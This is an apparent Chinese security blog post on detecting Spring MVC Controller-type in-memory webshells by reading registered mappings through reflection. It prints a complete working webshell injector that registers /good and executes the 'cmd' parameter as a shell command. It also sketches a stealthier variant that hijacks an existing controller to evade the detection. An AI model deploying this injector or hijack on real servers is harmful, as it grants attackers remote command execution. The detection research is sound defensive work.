介绍
看了一些大佬的查杀内存马文章,很少有Spring相关内存马的检测方式
有部分是借助javaagent得到jvm中所有已加载的类然后分析,显得有点庞大
是否可以只借助Spring框架本身做检测呢
从检测思路上得到了一种进阶的内存马:隐形马,也可以叫做劫持马
劫持正常的Controller改为内存马,表明上一切正常,通过检测手段无法发现
检测效果
笔者基于SpringMVC本身写了一些检测代码
正常情况下,项目中已经有一些正常的mapping记录
使用来自Landgrey师傅公布的Payload,也是广为流传的一种
基于内存 Webshell 的无文件攻击技术研究
public class InjectToController { public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method2 = InjectToController.class.getMethod("test"); PatternsRequestCondition url = new PatternsRequestCondition("good"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } public InjectToController(String aaa) {} public void test() throws IOException{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} } }
以上代码实现的效果是添加一个Controller型内存马:/good?cmd=whoami
注册成功后使用我写的检测代码,可以得到下面的结果
很明显这里的exp.InjectToController非法
如果黑客将类名InjectToController修改为正常的,也会因为包名不一致轻松检查出
最坏的情况,信息泄露,黑客做到和系统包名一致,也可以从映射数量增加的角度检查,不难实现
进一步可以做查杀,把恶意的Controller杀死,可以把对应的路径修改为非常复杂的随机串,也可以把路径对应的执行方法置空
这一点做起来不难,有空补上代码
检测原理
原理比较简单,就是从目前的Spring容器中找到被注册的所有mapping信息,拼接输出即可
实现起来其实有点小坑
首先通过context拿到RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes() .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
这个对象本身没包含什么重要信息,但是它的爷类AbstractHandlerMethodMapping里有重要信息
其中有一个属性mappingRegistry,类型是内部私有类MappingRegistry
public abstract class AbstractHandlerMethodMapping<T> extends AbstractHandlerMapping implements InitializingBean { ... private final MappingRegistry mappingRegistry = new MappingRegistry(); ... }
找到这个内部类MappingRegistry,属性registry是真正的注册信息,记录了每个映射到具体方法的关系
class MappingRegistry { ... private final Map<T, MappingRegistration<T>> registry = new HashMap<>(); ... }
而MappingRegistration类也是内部私有类
static class MappingRegistration<T> { ... private final HandlerMethod handlerMethod; ... }
其中的HandlerMethod保存包装后的了Controller中的路由方法
public class HandlerMethod { ... private final String description; ... }
其中description字段记录了被注册的Controller的描述,例如com.example.spring.TestController#test1()
该信息应该被取出来输出,用来判断是否来自恶意类
回到上文的Map> registry
其中的Key为泛型,实际上这个类型应该是:RequestMappingInfo
public final class RequestMappingInfo implements RequestCondition<RequestMappingInfo> { ... @Nullable private final String name; @Nullable private final PathPatternsRequestCondition pathPatternsCondition; ... }
值得一说的是,其中的name不是路径,实际的值其实是空。路径信息保存在PathPatternsRequestConditio中
public final class PathPatternsRequestCondition extends AbstractRequestCondition<PathPatternsRequestCondition> { ... private final SortedSet<PathPattern> patterns; }
Spring框架封装完善,这里也不是真正的路径,而是保存在SortedSet patterns
PathPattern的patternString保存了路径:/test
public class PathPattern implements Comparable<PathPattern> { ... private final String patternString; }
分析结束,接下来就剩实现了
上文取到了RequestMappingHandlerMapping对象,通过反射从其爷类取到mappingRegistry属性
Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry"); _mappingRegistry.setAccessible(true); Object mappingRegistry = _mappingRegistry.get(rmhMapping);
参考分析步骤拿到MappingRegistry对象
Field _registry = mappingRegistry.getClass().getDeclaredField("registry"); _registry.setAccessible(true); HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);
这个HashMap的Key好说,直接强转;它的Value是一个内部私有类,获取起来有点麻烦,遍历AbstractHandlerMethodMapping的所有内部私有类,直到类名符合MappingRegistration记录下Class。之所以想方设法拿到MappingRegistration的Class是为了获取其中的HandlerMethod进而拿到注册描述信息
Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses(); Class<?> mappingRegistrationClazz = null; for (Class<?> item : tempArray) { if (item.getName().equals( "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration" )) { mappingRegistrationClazz = item; } }
接下来的步骤不难
// 拼接字符串输出 StringBuilder sb = new StringBuilder(); sb.append("<pre>"); sb.append("| path |").append("\t").append("\t").append("| info |").append("\n"); // 遍历MappingRegistry中的注册信息 for(Map.Entry<Object,Object> entry:registry.entrySet()){ sb.append("--------------------------------------------"); sb.append("\n"); // 得到key RequestMappingInfo key = (RequestMappingInfo) entry.getKey(); // 路径保存在PatternsCondition的Patterns中 // set不能get所以转list后get List<String> tempList = new ArrayList<>(key.getPatternsCondition().getPatterns()); // 一般情况下只有一个直接用get(0) sb.append(tempList.get(0)).append("\t").append("-->").append("\t"); // 反射得到value的HandlerMethod属性 Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod"); _handlerMethod.setAccessible(true); HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue()); // 反射得到HandlerMethod的注册描述信息:description Field _desc = handlerMethod.getClass().getDeclaredField("description"); _desc.setAccessible(true); String desc = (String) _desc.get(handlerMethod); sb.append(desc); sb.append("\n"); } sb.append("</pre>");
隐形马
检测思路主要是检查是否有新注册的Controller
是否可以在不注册新的Controller情况下加入内存马呢
假设我发现了目标机器存在一个接口,返回ok字样
(找到一个总返回固定字符串的接口用来劫持)
通过我一些手段,做到了这样的效果:
- 如果访问/api一切正常
- 如果访问/api?cmd=whomai等情况则执行命令
效果如下
如果用以上检测手段来查:一切正常